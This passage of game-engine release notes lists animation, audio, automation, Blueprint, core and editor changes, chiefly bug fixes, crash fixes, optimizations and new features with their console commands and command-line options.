Bugfix: Animation graph node properties that have underscores in their names now update appropriately.
Bugfix: Blueprint set morph target curves are now being set from master components to slaves.
Bugfix: Cloth and skeletal meshes no longer flicker or disappear at the edge of a viewport.
Bugfix: Memory is now reported correctly in GetResourceSize for UAnimSequence and USkeletalMesh assets.
Bugfix: Removed a one-frame delay when applying animation curve data.
Bugfix: A memory leak related to montages during shutdown has been fixed.
Bugfix: Negative curve values now work with montages.
Bugfix: Fixed issues with montage instances and slot nodes getting inconsistent weight data, causing animations to evaluate in different states.
Removed thread-unsafe access to LastRenderTime in animation system.
Improved duplicate slot node warning to make it easier to find malformed assets in larger projects.
Prevented invalid ranges being entered into FBX import data.
Optimized SafeSetCSBoneTransforms used by skeletal controllers after they have submitted their transforms. Removed double iteration over the pose. Removed iteration over the entire pose (we can start at the first bone in the transform list). Removed bone masks and instead collect interesting nodes to perform conversion on. Removed unnecessary conversions.
The anim blueprint compiler can now access member variables directly instead of thunking to the VM.
OSX version of the Maya rigging tools are now included in the launcher distribution.
Some animation nodes have moved to AnimGraphRuntime module.
Added a few support functions to UAnimInstance to make querying asset player states easier. Also added more montage stats to UAnimInstance.
Added NativeUninitializeAnimation override point to UAnimInstance.
Animation Compression: "Automatic" animation compression settings now default to the settings specified in Project Settings: Animation: Compression.
Reduced memory churn by removing many unnecessary allocations in various animation update and evaluate methods.
Sub-state machines can now work properly with native bindings. Previously, only sub-state machines in entry states worked correctly.
Audio
New: Improved Gameplay Statics sound API. New Spawn at Location functions return an Audio Component that allows manipulation of the played sound similar to the Attached version. Play at Location still does not return the audio component and should be used for one-shot sounds. Rotation added to Location and Attached API to allow facing to be specified to work properly with non-spherical attenuation shapes. Play Attached renamed to Spawn Attached. Sound and Dialogue APIs are now consistent.
New: Added ability to set a global pitch scale for every non-UI sound in the game via a new blueprint function.
New: Made audio component's applied sound attenuation settings accessible from blueprints.
New: Orphaned sounds due to a Sound Node Looping now output a warning to the log.
New: Sound attenuation boundaries match the attenuation curves at min/max.
New: Sound attenuation values match attenuation curves at min and max rather than assuming 1.0 or 0.0 respectively. This allows for more unusual distance-based attenuation curves, such as donut-shaped curves, or curves that cause audio to be loud far away but quiet nearby.
New: Support for playing sounds with audio component properties without needing an audio component as long as the sound's properties do not change.
New: XAudio2 voices for PC/XBoxOne platforms are pooled and reused.
New: Volume-weight voice prioritization sorting for active voices. This allows for sounds with zero volume, but high priority, to be stopped by lower priority, but audible, sounds. Bugfix: This feature includes a fix for when sounds go out of range (attenuation reaches zero) and then come back in range while still active. If not stopped in between, the sound won't automatically restart from the beginning.
Bugfix: Fixed a probable crash that could have happened if 9 reverbs became activated at once.
Bugfix: Concatenator sound cue nodes will now wait for all sounds to finish in child mixer nodes before playing next sound in sequence.
Bugfix: On PC/XBoxOne, an audio skip in sounds past a certain length have been removed.
Bugfix: On Mac, splitting and merging audio streams when using reverb, EQ, or radio effects no longer causes volume levels to to change. Added low-pass filter for voice audio units to closer match PC audio.
Bugfix: Play In Editor Sound Quality Level is now being used correctly for Sound Quality nodes in Sound Cues when playing in editor.
Bugfix: A rare case where a sound would not be played because an async load request had been made too recently has been fixed.
Bugfix: Core Audio API no longer crashes on Mac when the number of active sounds exceeded the number of available audio units.
Updated OVR Audio SDK.
Automation
New: Added config entries to determine which platforms and configurations are available in an installed build Also specifies whether platforms are available for code or content projects only
New: Added -FastPDB commandline parameter for UnrealBuildTool, so that we can make use of the /DEBUG:FASTLINK option in Visual Studio 2015 Used by default in Visual Studio Projects and Hot Reload, with a Build Configuration override if you don't want to use it
New: Adding option to mark the output of a module as publicly distributable if the module source code is not
New: Improved methods of identifying installed builds
New: Improved methods of identifying installed builds
New: Refactored automated test flags Added Disabled flag to disable tests without commenting-out or deleting code. Replaced Smoke Test button in Automation Front End with a Filters dropdown. Test configurations do not compile out Automation features (except in Shipping mode). Automation tests can be triggered from in-game console in non-editor builds (automation controller is enabled).
Added Third Party binaries folder to Build Plugin command
Changed BuildDerivedDataCacheNode to use target receipts to add runtime dependencies.
Deprecating -rocket command line argument as it is no longer needed to identify installed builds
Bugfix: Fixed a bug that could cause a crash when running automation tests from the commandline.
Bugfix: Fixed issue with Packaging DLC on Mac
Bugfix: Use runtime dependencies from module files to determine what needs to be included in released builds
Blueprints
New: Blueprint "Development Only" Functions Native C++ functions marked BlueprintCallable can now also be optionally marked as DevelopmentOnly. This new metadata allows calls to those functions to be disabled (compiled out) of all Blueprint function graphs in cooked/packaged builds without breaking the execution flow.
The PrintString and PrintText system library functions have now been marked DevelopmentOnly by default. This allows for a quick removal of Blueprint logging in the final build product.
To get packaged/cooked Blueprints to compile without the "DevelopmentOnly“ nodes, disable the “Compile Blueprints in Development Mode" option found in the project's Cooker settings (this option is on by default to preserve functionality).
New: Condensed Blueprint Struct Nodes We've improved and refined usability for structs that contain toggle values that are conceptually linked to other property "settings" in the same struct (like how our PostProcessSettings struct operates).
Different override/enabled states are now managed through a toggle or dropdown widget that is exposed along with the setting on "Make Struct" and “Set Member” nodes.
To associate a toggle variable with another property, use the "EditCondition" metadata like is pictured above.
We've adopted this workflow for our PostProcessSetting nodes, which have proven to be unwieldy and confusing without it.
New: Added advanced searching syntax to Find-in-Blueprints.
New: Added experimental option to use the Blueprint Diff Tool with Animation Blueprints and Widget Blueprints.
New: Added facilities for specifying override vertex colors for meshes via Blueprints: PaintVerticesSingleColor and PaintVerticesLerpAlongAxis. PaintVerticesSingleColor sets all mesh vertices to the specified color. PaintVerticesLerpAlongAxis allows you to specify a linear blend along a mesh axis from one color to another.
New: Added Min and Max nodes for byte variables.
New: Added CopyPoseFromSkeletalMesh node, which takes a snapshot of a skeletal mesh pose and applies it to another skeletal mesh component.
New: Added support to AsyncTask nodes so that their corresponding functions can return null.
New: Added the ability to mark BlueprintCallable functions as development only. By default, these nodes will be compiled out of Blueprint class function graphs at cook/package time, potentially improving runtime performance. The "Print String" and "Print Text" functions are now marked as development-only, and will not be executed at runtime in cooked builds by default.
New: Added asset registry tags "NativeComponents" and "BlueprintComponents" to store the number of native and blueprint components, respectively. These counts can be used to identify targets for optimization.
Blueprint context menu performance improved.
By default, Buildmachines will no longer ignore compile on load errors for Blueprints.
Users can no longer edit Actor default values on properties in User Defined Structs or in CDOs that have structs with Actor properties.
New: Users can now delete function graph overrides that used to be interface implementations.
Bugfix: Crash fix when undoing add/remove operations on default instanced subobjects in a Blueprint.
Blueprint division nodes now show the callstack if a divide by zero is attempted.
During undo/redo, when deleted Blueprint instances are restored to the scene, they will be reinstanced using the newest version of their BlueprintGeneratedClass.
New: GetPathName node created. This node returns the full path name of a UObject.
New: Exposed many scalability settings to Blueprints via UGameUserSettings, making it easy to build a settings screen entirely in UMG.
New: The Blueprint Profiler is now available as an experimental feature to help identify costly operations in blueprints and guide optimization. Enable the Blueprint performance analysis tools option in editor preferences under General - Experimental in the Blueprints section. Analysis is currently enabled on a per-blueprint basis in PIE only. To profile a blueprint, enable the profiler option in the blueprint editor and recompile the blueprint to add instrumentation. Then enter PIE and the editor will display the blueprint profiler tab and display timing data. Work is ongoing in this area and the feature is not expected to be fully complete in this release.
New: Vector2D now has equal and not equal functions, just like Vector3D.
When adding new variables to user defined structures, the variable type will be the same as the last set type.
Bugfix: When converting a selection of components into a Blueprint, CDO values will no longer be lost.
Bugfix: "Convert Selected Components to Blueprint Class" no longer generates new components when used repeatedly.
Bugfix: Find-in-Blueprints will correctly check-out all out-of-date Blueprints if Index All With Source Control is selected.
Bugfix: When modifying default values on inherited Blueprint variables, the default values in the parent Blueprint will not be affected.
Bugfix: "Add Component" node adds components with exposed variables to the correct target actor (previously always went to "self").
"Color" name is no longer restricted.
Bugfix: "Convert selected actor to blueprint class" and "Convert selected components into blueprint class" actions can no longer be used to convert types that aren't blueprintable.
Added "focus" keyword to "AIController::SetFocalPoint".
Bugfix: Adding a WeakObjectPtr to an array of object references in a Blueprint now works correctly.
Bugfix: Assigning an interface property that is exposed on spawn using the Spawn Actor of Class node will no longer error.
Bugfix: Async Task nodes and Load Asset nodes no longer change superficially each time they are cooked
Bugfix: Attempting to follow a Blueprint compile error message to a node that has been delete no longer crashes
Blueprint Options and Class Options details view will correctly display in non-English languages.
Bugfix: Blueprint VM no longer crashes when encountering a type mismatch, throws an exception instead.
Bugfix: Blueprints duplicated for PIE will no longer register as dependencies to other Blueprint.
Bugfix: Blueprints with events in them no longer indicate they are different when compared against themselves using the Blueprint Diff Tool.
Bugfix: Can no longer add reroute nodes to read-only graphs such as math expression graphs.
Bugfix: Can no longer change the "Parent Socket" member of an inherited component.
Can no longer reparent level Blueprints to other level Blueprints, though native classes are still an option.
Changed an ensure to an error when attempting to generate literals for unsupported properties in Blueprints.
Bugfix: Child components in a Blueprint Class asset attached to a default scene root will no longer be lost after reparenting to a Blueprint Class that also has a default scene root.
Bugfix: Copy and pasting local variable nodes for functions into collapsed graphs will no longer invalidate the node.
Bugfix: Crash fix for prompting user to check out Blueprint during the compilation stage.
Bugfix: Crash fix in Find-in-Blueprints after switching languages and searching.
Bugfix: Crash fix when AIController possesses a Pawn during Pawn's Unpossess event while exiting PIE.
Bugfix: Crash fix when attempting to override Timeline event nodes in a child Blueprint.
Bugfix: Crash fix when hiding the "CameraSettings" category on custom Camera Component classes.
Bugfix: Crash fix when pasting an event node is undone/redone.
Bugfix: Crash fix when doing a "Find Reference" on local variables without any placed nodes for the variable.
Bugfix: Crash fix when creating a local variable from an orphaned node inside a collapsed graph.
Bugfix: Custom event nodes bound to delegate signatures that include 'const&' and/or TArray input parameters will no longer emit a compiler note/warning.
Bugfix: Delay nodes can now be used in GameInstance's Initialize function. Previously they would only work in PIE.
Bugfix: Dependencies that arise due to Blueprint Macros are now correctly detected so that bytecode can be regenerated when needed - fixes one cause of TRASHCLASS appearing in bytecode.
Bugfix: Diffing Blueprints with deleted component assets will no longer cause an assert.
Bugfix: Warnings about missing parent functions no longer appear if the child function is invalid as a result of compile-on-load.
Bugfix: Dragging and dropping to create pins on function Return nodes when there are multiple of them will correctly update all Return nodes.
Bugfix: Dynamic Component delegate bindings to self are no longer exported on copy/paste & ALT-drag. This corrects the side effect of a copied Actor instance also affecting the original.
Bugfix: Find-in-Blueprints no longer requires the Asset Registry to initialize.
Bugfix: Crash fix when editing an instanced variable nested within another instanced variable.
Bugfix: Crash fix deleting graphs or delegates while a "Create Event" node's graph is in the transaction buffer.
Bugfix: Crash fix when a Blueprint's skeleton class is null.
Bugfix: Fixed a Blueprint breaking bug where invalid "PLACEHOLDER" classes would replace Blueprint class references.
Bugfix: Crash fix in Blueprint Editor after removing a previously-serialized root and/or parent component within the native scene component hierarchy of a native C++ parent class.
Bugfix: Crash fix in Blueprint Editor when a specific HideCategory (PrimaryTickProperty) was set on an Actor-based Blueprint Class.
Bugfix: Crash fix in Blueprint Editor when deleting a root scene component with 2 or more children followed by deleting a non-root child of the promoted child node.
Bugfix: Crash fix in Blueprint Graph editor after an undo of an unlinked user-defined pin removal action (e.g. removing an unlinked Function Input).
Bugfix: Fixed a Blueprint Graph editor issue that caused Add Component nodes not to be restored properly on an undo/redo after a deletion followed by a compile.
Bugfix: Fixed a bug in duplicated event nodes that could cause unrelated content to be referenced and loaded.
Bugfix: Fixed a bug in the array Shuffle method where the last entry wasn't as randomized as the other elements.
Bugfix: Crash bug during garbage collection for child Blueprints cyclically dependent on their parent.
Bugfix: Crash fix when applying instance changes to a Blueprint.
Bugfix: Crash fix while dragging off pins.
Bugfix: New components are now able to have the same name as a deleted component without having to compile after deleting the old component.
Bugfix: Copy, duplicate, and rename hotkeys wor correctly in the Blueprint viewport.
Bugfix: Fixed a bug that was resetting arbitrary defaults on Blueprint sub-classes.
Bugfix: ClassAssetIDs properly resolve circular dependencies.
Bugfix: Fixed a bug where special game specific event nodes could be removed on load (when they're associated with interface functions).
Bugfix: Fixed bugs with parent/child cyclic dependencies, where the child's overridden property values would be cleared on load and inherited components would be trashed during compilation.
Bugfix: Crash fix on undo of an Actor-based Blueprint Class instance deletion if it followed a previous redo.
Bugfix: Crash fix when using the diff tool with a Blueprint that implements an interface.
Bugfix: Crash fix on save with an EditInline instanced object owned by an Actor component instance.
Bugfix: Crash fix when modifying a function signature after deleting a sub-class override for it.
Bugfix: Crash fix when passing a default BlueprintSessionResult object to the "Join Session" Blueprint node. Instead of crashing, the join will fail and execution will continue from the "On Failure" pin.
Bugfix: Crash fix when using the "Replace References" feature when deleting a Blueprint asset.
Bugfix: Crash fix in specific cyclic dependency cases involving an Actor and ActorComponent Blueprints.
Bugfix: Crash fix when removing a event/function param in a Blueprint that was associated with the set GameMode.
Bugfix: Crash fix when deleting a map while its level Blueprint is opened.
Bugfix: Crash fix after a hot reload of the compiled game project.
Bugfix: Fixed a potential infinite loop runtime crash when adjusting Actor rotation in a Blueprint function.
Bugfix: Crash fix in to component reconstruction in a Blueprint Class instance related to undo/redo operations.
Bugfix: Fixed an internal Blueprint compile error on expansion of a Macro Instance node with one or more unconnected Enum output pins.
Bugfix: Crash fix when force-deleting a non-Actor parent Blueprint Class asset in the Content Browser if a child Blueprint Class asset was also loaded.
Bugfix: Event Dispatchers do not become unmodifiable after reparenting the Blueprint.
Bugfix: Component property values on a Blueprint class instance in the current scene are no longer reset as a result of recompiling the Blueprint class.
Bugfix: Convert Selected Components to Blueprint Class no longer asserts inappropriately.
Bugfix: Fixed collision response options editing for instances of Skeletal Mesh components added to a Blueprint Class.
Bugfix: Sliders behave properly on Capsule Collision component shape properties in the Blueprint editor.
Bugfix: Find-in-Blueprint goes to an item after the user double-clicks on it when searching locally.
Bugfix: Fixed compile errors after creating a local function variable from a node that could not find its assigned property.
Bugfix: Crash fix from invalid macros resulting from deleting the source graph in MacroLibrary.
Bugfix: Crash fix on Blueprint load when a macro instance referenced a struct.
Bugfix: Crash fix when generating bytecode for circularly-dependent blueprints.
Bugfix: Crash fix when a Blueprint Enum name collides with a Details Customization Name. For example, "Color" is now a safe name to use for a Blueprint Enum.
Bugfix: Crash fix when a Blueprint is saved without valid default values.
Bugfix: Crash fix Fixed when attempting to open the Property Matrix for a Blueprint that is missing its parent.
Bugfix: Crash fix when indexing all Blueprints in the Find Results window.
Bugfix: Crash fix when making changes with multiple components selected in the blueprint editor.
Bugfix: Crash fix when using "Find References" on a struct operation node (Make, Break, Set Members).
Bugfix: Crash fix when modifying some properties in sub-struct variables inside user-defined structs.
Bugfix: Crash fix when using the target of an Interpolate Component To node is destroyed before the node finishes.
Bugfix: Crash fix when using the Editor to debug breakpoints in blueprints with a null MacroGraph. Now it calls Ensure and recovers gracefully.
Bugfix: Crash fix with duplicating Timeline nodes, which was causing the new Timeline's tracks to be misplaced.
Bugfix: Crash fix after reinstancing Component BPs in thumbnails.
Bugfix: Crash fix in editor when using hotkeys to create local variables in graphs that do not support locals.
Bugfix: Crash fix when applying instance changes to a struct array back to the blueprint using the IWCE interface.
Bugfix: Crash fix when using "Draw Debug Float History" and "Draw Debug Transform History" in Blueprints.
Bugfix: Crash fix while garbage collecting recompiled Blueprints.
Bugfix: Promoting function graphs from interfaces during interface removal no longer calls Ensure.
Bugfix: Fixed thread-unsafe code in the Blueprint VM by removing static/global data.
Bugfix: Fixed errors that would sometimes appear when reloading a level that referenced a sub-level.
Bugfix: Fixed issue with appearing to be able to select actors in the viewport using Level Blueprints loaded through the Find-in-Blueprint system.
Bugfix: Deleting macros in Macro Libraries and then using undo no longer causes external dependencies.
Bugfix: Fixed UI issues when clearing GameplayTagContainers.
Bugfix: Fixed issues that could occur if an existing Blueprint class default object or instance contained one or more invalid property values for native component subobjects on load.
Bugfix: Fixed issues with "Find References" on local variables located in function graphs with a space in the name.
Bugfix: Fixed issues with graph node bubbles rendering incorrectly when there is nothing in the top slot.
Bugfix: Fixed the inability to save a Blueprint Class asset after renaming another Blueprint Class asset on which it depends.
Bugfix: Fixed warnings that would sometimes appear when using level Blueprint communications.
Bugfix: Fixed an issue causing Find-in-all-Blueprints to not be able to load up Blueprints due to missing path.
Bugfix: ForEachEnum will now correctly iterate over all enum values.
Bugfix: Functions correctly inherit purity in Blueprints and will update to reflect the current purity state of the inherited function.
Bugfix: GameplayTag and GameplayTagContainer switches will now work in standalone and cooked builds.
Bugfix: Harvesting components into a new Blueprint will correctly mark the components as movable so they can properly attach to the root.
Bugfix: Macros leveraging wildcard parameters will no longer fail to expand during compile-on-load.
Bugfix: Moved error bar for variable nodes to the bottom instead of the top to prevent shifting of nodes when there are errors.
No longer possible to duplicate Blueprint graphs while in PIE.
Optimization for Find-in-Blueprints gathering of property data.
Per instance lighting and vertex coloring on static mesh components is now only applied after the user construction script when the actor is reconstructed.
Removed direct dependency on GameplayAbilities from GameplayDebugger to solve problems with its classes showing in blueprints editor as a result of the OS automatically loading the library.
Bugfix: Removing an interface and keeping the functions will correctly make the pins on the function available in the details panel.
Bugfix: Renaming a component and then adding a new component of the same type in the Blueprint editor will no longer result in broken defaults editing.
Bugfix: Renaming a component no longer renames all components of the same name in dependent Blueprints (inherited components are still updated as expected).
Bugfix: Resolved Blueprint compiler errors with duplicating Matinee Actors and adding controllers.
Bugfix: Right clicking on the graph instruction text for new Blueprints will no longer prevent the node context menu from appearing.
Bugfix: Setting default values of Text properties in the User Defined Struct or for Local Variable properties in Blueprints will correctly assign the value and preserve the value between instances of the editor.
Slight improvement to native Actor instance construction time.
Bugfix: Spawn Actor From Class nodes can no longer be placed in Blueprints that do not support a world context.
Suppressed import linker errors related to Blueprint Generated Classes.
Bugfix: Child actor construction scripts run appropriately when starting Play In Editor sessions.
Bugfix: Blueprint graphs don't lose focus after pressing debugging keys in the blueprint editor.
Bugfix: Validated Get nodes can now be used on local variables.
Bugfix: This fixes an issue with array nodes where the top input pin would be obscured by the comment bubble making it hard to wire up the nodes.
Bugfix: Undoing changes to a Blueprint Actor Class's component hierarchy when the Blueprint Editor is closed now works correctly.
Bugfix: Undoing changes to object reference properties in a Blueprint no longer causes "Graph is linked to private object(s) in an external package" errors.
Bugfix: User Defined Enums begin counting at 0, and will no longer increase by two's.
Bugfix: User defined structs with Blueprint class references in their defaults will no longer lose their defaults when loading.
Bugfix: User defined structs and Local Variables can have non-basic type arrays of size 1 without resetting size 0.
Bugfix: When promoting an orphaned variable node to a local variable, all orphaned variable nodes in the local scope will point at the new local variable as expected.
When using a pin connection to specify the class for "Spawn Actor From Class", the default value overrides from the node are assigned to the new actor when it is spawned.
WorldContext pins will no longer be visible when the editor starts up if a Blueprint is loaded during game module load (actor/object constructors).
Exposed the ESplineMeshAxis type to Blueprints.
Improved "Find References" for variable nodes to more directly search for references to the specific variable.
Improvements to the usability of PostProcessSettings structure in Blueprints.
Log statements coming from blueprints now include the blueprint's name. This can be disabled in [Kismet] in Engine.ini via bLogPrintStringSource.
Optimized performance of USimpleConstructionScript::GetAllNodes. This dramatically improves the performance of FindArchetype which is relied upon heavily when spawning a Blueprint defined Actor with components added in blueprints.
PinTypeSelector has improved usability with the sub-menu for object types.
Added a warning when a deprecated output from Break Struct node is used.
Toggling a function to pure will automatically remove all breakpoints from call sites.
Core
New: .ue4stats file will now have ".inprogress" extension for the duration of stats capture. This prevents accidental use of an incomplete file.
New: Added compile-time define support to filter out command line args on a per-game basis.
New: Added configurable threshold settings for fps/frame time displays. t.TargetFrameTimeThreshold and t.UnacceptableFrameTimeThreshold set the thresholds (in ms, defaulting to 33.9 and 50.0, respectively). Values below the target level are green, values above the unacceptable level are red, and the ones in between are yellow. The bar for on-screen cycle counters is now based on t.TargetFrameTimeThreshold rather than a hardcoded 33.3 ms.
New: Added console command "LoadTimes.DumpReport" which provides a report of the exclusive load time of packages.
New: Added debug renderensure console command.
New: Added -DUMPALLWARNINGS command line param to force dump all warnings and errors after after executing commandlets.
New: Added -fullcrashdumpalways commandline option to force full crash minidumps.
New: Added garbage collection array pool leak checks.
New: Added LIKELY/UNLIKELY macros for static branch prediction hinting.
New: Added -MatchAutoStatCapture command line switch to save .ue4stats automatically during each match.
New: Added more log info when saving temporary shader files fails. Increased the number of attempts when moving a file fails.
New: Added new hitch detection CVars to make it easier to control how hitches are detected and reported t.HitchFrameTimeThreshold is the definition of a hitchy frame (in ms), defaulting to 60 ms. t.HitchDeadTimeWindow is the minimum time that must pass before we'll record a new hitch (in ms), defaulting to 200 ms. t.HitchVersusNonHitchRatio is the minimum ratio between the last frame time and the current frame time to consider it a hitch, defaulting to 1.5 (e.g., if the last frame time was 50, the current frame must be at least 75 to be considered a hitch). They can also be set in the [SystemSettings] section of DefaultEngine.ini for games that target something other than 30 fps. Switched 'stat hitches' display to use the t.HitchFrameTimeThreshold value, and updated coloring to use the related coloring thresholds (at 25% of the hitch value) instead of using hardcoded yellow at 100 ms and red at 200 ms.
New: Added "stat startfile", “stat stopfile”, “stat hitches”, and “stat namedevents” to the console command autocomplete list.
New: Active class redirectors map is loaded from all config files, so plugins can define redirectors.
New: Asset Registry tags are now excluded from cooked builds. This reduces memory usage. Tags needed at runtime must be added to the CookedTagsWhitelist list in DefaultEngine.ini
New: Async loading priority has been given a typedef and made into a signed type.
New: Async: Added ability to register an optional callback function that is executed when a Future completes.
New: Console windows opened by the engine on Windows, such as for log output, will now attempt to match their horizontal size to the console's buffer size to minimize the need for manual scrolling or resizing.
New: Added unit test for ISO date/time conversion of empty strings.
New: Allowed for specifying custom data in FStructOnScope.
New: Templatized TypeContainer implementation to allow for thread-safe objects; updated unit test
New: Enabled user-defined suffixes on Saved folders with the -saveddirsuffix= command line parameter.
New: Exposed async load priority through streamable manager.
New: FCachedReadPlatformFile can now be disabled to decrease memory usage in exchange for decreased speed.
New: Function for getting total and free disk space on Mac.
New: Garbage collector will now spawn sub-tasks as soon as there's enough work without waiting for the parent task to finish processing all objects.
New: Implemented Undo Barriers on the transaction buffer. This adds some new methods to the UTransactor interface for adding and removing Undo Barriers. PIE now adds an Undo Barrier upon startup, so that it is not possible to undo beyond the start of the PIE session.
New: Pkginfo commandlet can now open packages from outside of the current project by specifying the absolute package path.
New: Script callstacks are now printed out on ensures.
New: Added support for FText properties to serialization.
New: Added support for TMap property serialization.
New: Exposed entire serializer state in backend API.
New: Added HUDinformation about currently running stats file command (in format "STATS FILE: Duration: {0}, Filesize: {1}").
New: Stats converter is using a new stats reader which runs 10x times faster.
New: When cooking by the book, saving packages will now skip creating exports and imports that are editor-only (are instances of an editor class).
New: Profiler loading time optimized to be up to 6x times faster.
Bugfix: Crash fix in undo/redo when a lazy object pointer refers to a garbage collected object.
Bugfix: Crash fix in async loading caused by iterating over an array while new elements were being added to it.
Bugfix: Crash fix when loading the AssetRegistry cache.
Bugfix: Crash fix on failure of request file functionality to UnrealSwarm. It will no longer crash on sporadic network problems.
Bugfix: Crash fix to UnrealHeaderTool in some rare cases if the parsing step had other errors.
Bugfix: Crash fix when replacing references to a deleted anim blueprint with a duplicate.
Bugfix: Crash fix to hot reload when dealing with empty user-defined enums.
Bugfix: Profiler indication loading progress reworked so it no longer freezes without a progress bar.
Bugfix: Fixed missing return value in TAsyncResult assignment operator.
Bugfix: CrashReporter records crashes properly on Windows 10.
Bugfix: Async loading system will not promote an existing request's priority where a new higher priority request for an already requested package wn't promote the existing requests priority to match the new one.
Bugfix: Cooked asset registry generation now takes redirectors into account.
Bugfix: "-benchmark" command line switch is now honored in non-editor builds so that benchmarking games is possible again.
Bugfix: Servers no longer make repeated attempts to initialize the HighRes screenshot system.
Bugfix: Fixed a case where FAssetRegistry::RemoveDependsNode could potentially delete an allocation from within an array allocation.
Bugfix: Removed a potential deadlock when suspending and resuming async loading multiple times.
Bugfix: Thread local values are no longer accessed with invalid TLS keys in Stats2 code.
Bugfix: Fixed an assert when cancelling async loading with async loading thread enabled.
Bugfix: Game-agnostic editor settings are now processed correctly when output to the engine saved config directory.
Bugfix: Fixed blueprints compilation errors after hot reload.
Bugfix: UnrealBuildTool dependency file caches are no longer broken when the process is terminated unexpectedly.
Bugfix: Comparisons between module names of different case are now handled correctly when checking files for rebuilds in UnrealBuildTool.
Bugfix: Fixed 'debug ensure' console command logic.
Bugfix: FAssetRegistry::DependencyDataGathered no longer favors soft asset dependencies. FAssetRegistry::DependencyDataGathered was potentially replacing hard asset dependencies with soft asset dependencies, but the hard asset dependencies need to take precedence.
Bugfix: FURL comments are now properly gathered for documentation.
Bugfix: Fixed leaking certain auto-generated structures (ICppStructOps) on exit (reduces spurious memory leak reports by memory profiling tools like valgrind).
Bugfix: Memory leaks related to async loading have been fixed. Array memory churn has been reduced.
Bugfix: JsonReader::ParseNumberToken now terminates properly on sudden end of stream.
Bugfix: There is no longer a race condition where StaticFindObject can be called from another thread while SavePackage is running.
Bugfix: Fixed 'remove' actions when processing .ini files in UnrealBuildTool.
Bugfix: Removed a possible infinite loop and avoided skipping elements in UMapProperty::Identical.
Bugfix: Various issues fixed with hot reload on Mac.
Bugfix: Time markers in the log file when using -LOGTIMESINCESTART are now logged correctly.
Bugfix: Fixed issue where memory counters are not correctly listed in the profiler's window.
Bugfix: Path generation errors in streaming network file platform layer fixed.
Bugfix: Fixed stack corruption in UnrealHeaderTool when increasing NAME_SIZE.
Bugfix: "Stat MemoryPlatform" no longer exhibiting errors the first time it is used in a run.
Bugfix: UnrealBuildTool is now able to harvest environment variables when the user's Windows login name contains non-ASCII characters.
Bugfix: UnrealHeaderTool now stops the build when a warning occurs and "warnings as errors" is enabled.
Improved the readability of on-screen stat displays. The background color for each row is now solid instead of a gradient, and it alternates colors from row to row to improve reading across a line.
Hot-reload performance has been improved with parallelized search for old class default objects' referencers.
Added "out of space" checks to the build patch services.
CrashReporter always dumps minidumps even when the full crash dump mode is enabled, mostly to avoid hitches during writing the minidump.
Increased the default UObject count limit in the editor to 16 million objects.
BuildConfiguration.xml changes will now cause a makefile rebuild.
Minimized allocations made by garbage collection process by pooling UObject arrays.
Optimized UObject array copying during garbage collection by using memcpy instead of iterating over the array.
Minor improvements to scoped timing functionality. Make scoped seconds timer class available outside of stats build. Normal usage macros still remain guarded. Added SCOPE_SECONDS_COUNTER_RECURSION_SAFE, which only times during the outmost instance of a recursive function Added SCOPE_SECONDS_COUNTER_RECURSION_SAFE_BASE and SCOPE_SECONDS_COUNTER_BASE, which are defined in all build types, for easy temporary timing in Test/Shipping builds. Added a boolean parameter to the timer class which can be used to disable it without having to scope the calling code.
Added a more verbose message when crashing due to seeking to invalid file positions.
Optimized custom version system so that it takes less space in saved packages and is faster to access at runtime.
Optimized FElementBatchMap usage in Slate rendering.
Optimized FMemory::Memswap and TSparseArray::Compact.
Optimized object iterator by storing the current object pointer in the iterator object.
Optimized performance of FindFunction, which decreases overhead for calling all UFUNCTIONs.
Optimized the code generation path in UnrealHeaderTool.
Fonts will no longer be loaded on the server.
Framesync for external profilers now happens reliably around gamethread frames.
Game resolution now will always be smaller than the primary desktop size, even if the command line specifies a bigger resolution.
Memory stats are logged on OOM.
Made sure that all instanced subobjects are not reset on actor construction and not only components.
TMap properties are now processed when searching for object references.
Moved FriendsAndChat module to Runtime folder.
OS memory stats are no longer acquired every tick unless stats are being captured.
Bound by (GT, RT, GPU) calculations now uses the t.TargetFrameTimeThreshold cvar (in ms) rather than being hardcoded to kick in only when over 30 fps.
Changed the ini file name generation for PerObjectConfig objects that are saved into a package to use the file name specified by the object instead of the content path where they live.
Cook-by-the-book will now skip saving packages that are only referenced through editor-only properties.
Cooked packages can now be loaded in the editor if cooked for the same non-editor version of the platform the editor runs on.
Buttons on CrashReporter window have been updated for better user experience.
Stats are now visible in VR mode.
String output functions in JsonObjectConverter now ignore Deprecated properties by default.
Various fixes and improvements to asset-registry-based package dependency preloading
Editor and Tools
New: SessionFrontend now has the ability to set session name and owner from the command line, e.g. on consoles running from Visual Studio.
New: "Reset to default" button on the Image Size property of a brush now resets to the size of the brush's texture, if one is set.
New: "Scalabilty Group" console variable category has been added to the device profile editor view.
New: Added "-FixupStringAssetReferences" command line option to use with the ResavePackages commandlet. This will forcibly fix any string asset references the same way it fixes hard object references.
New: Level sequences now support particle system parameter animation.
New: Animation tracks can be copied from a matinee to a level sequence.
New: Added support for slot name animation to the skeletal animation track in the level sequence editor.
New: A font metrics visualiser has been added to the font editor preview. This helps you ensure that all of your sub fonts are within the clipping region (the green box) of your main font.
New: Added a horizontal scrollbar to the Message Log so that very long lines can be seen in their entirety.
New: Added a new add key mode in the curve editor. Shift + ctrl + left mouse will add new keys (value and time) on all editable curves at the mouse location.
New: Added a new Blueprint-callable method to force an update on a Spline Mesh (to recalculate its collision), and also added it as an extra optional parameter on any Blueprint calls which set spline mesh parameters so that mesh/collision update can be deferred if desired. This can provide a big performance optimization in Construction Scripts which manipulate Spline Mesh Components.
New: Added a new Editor Preference (Editor Preferences -> Level Editor -> Miscellaneous -> Move BSP Pivot Offset Automatically) which maintains a Brush's pivot in the center of its geometry when its vertices are being edited in Geometry Mode.
New: Added a new simplified plugin creation wizard. It can be opened from the plugin browser instead of being another plugin that needs to be enabled. Now, users only need to choose a plugin template and a path/name for it.
New: Added the ability to bind a delegate to a property to react to a child property changing.
New: Added an option (in editor style settings) to mirror output log warnings or errors into the message log during PIE.
New: Added Data Table support for static sized arrays.
New: Added sRGB color input support in ColorPicker.
New: Added support for a package to be launched to multiple targets from a single launch command line.
New: Material parameters can now be animated in level sequences.
New: User Defined Struct string and text properties can be marked as multi-line text.
New: "Convert to Static Mesh" can be used on volumes and works the same way as it does for brushes.
New: Added template to the Plugin Creator that will help you create a plugin using a Third Party library.
New: Added the ability to take, save, and load widget snapshots via the widget reflector. This works for both local and remote targets, and allows you to do things like take a widget reflector snapshot from your game running on a PS4, and then inspect that snapshot on PC
New: Added the ability to type in a path for the reference viewer, which makes it much easier to track down assets that are broken due to references to missing assets. Paste in the missing asset path to view the assets that referenced it.
